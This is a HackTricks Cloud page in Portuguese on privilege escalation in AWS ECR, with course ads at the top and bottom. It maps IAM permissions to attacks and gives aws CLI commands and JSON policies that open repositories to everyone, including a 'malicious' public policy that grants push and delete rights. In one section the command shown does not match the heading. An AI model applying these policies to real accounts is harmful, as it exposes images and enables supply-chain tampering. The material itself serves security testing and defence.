AWS - ECR Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
Um atacante com ecr:GetAuthorizationToken
e ecr:BatchGetImage
pode fazer login no ECR e baixar imagens.
Para mais informações sobre como baixar imagens:
Impacto Potencial: Privesc indireto ao interceptar informações sensíveis no tráfego.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
Um atacante com todas essas permissões pode fazer login no ECR e fazer upload de imagens. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
Para aprender como fazer upload de uma nova imagem/atualizar uma, verifique:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Como a seção anterior, mas para repositórios públicos.
ecr:SetRepositoryPolicy
Um atacante com essa permissão poderia mudar a política do repositório para conceder a si mesmo (ou até mesmo a todos) acesso de leitura/gravação.
Por exemplo, neste exemplo, o acesso de leitura é concedido a todos.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Conteúdo de my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Como na seção anterior, mas para repositórios públicos.
Um atacante pode modificar a política do repositório de um repositório ECR Público para conceder acesso público não autorizado ou para escalar seus privilégios.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impacto Potencial: Acesso público não autorizado ao repositório ECR Público, permitindo que qualquer usuário envie, receba ou exclua imagens.
ecr:PutRegistryPolicy
Um atacante com essa permissão poderia mudar a política do registro para conceder a si mesmo, sua conta (ou até mesmo a todos) acesso de leitura/gravação.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.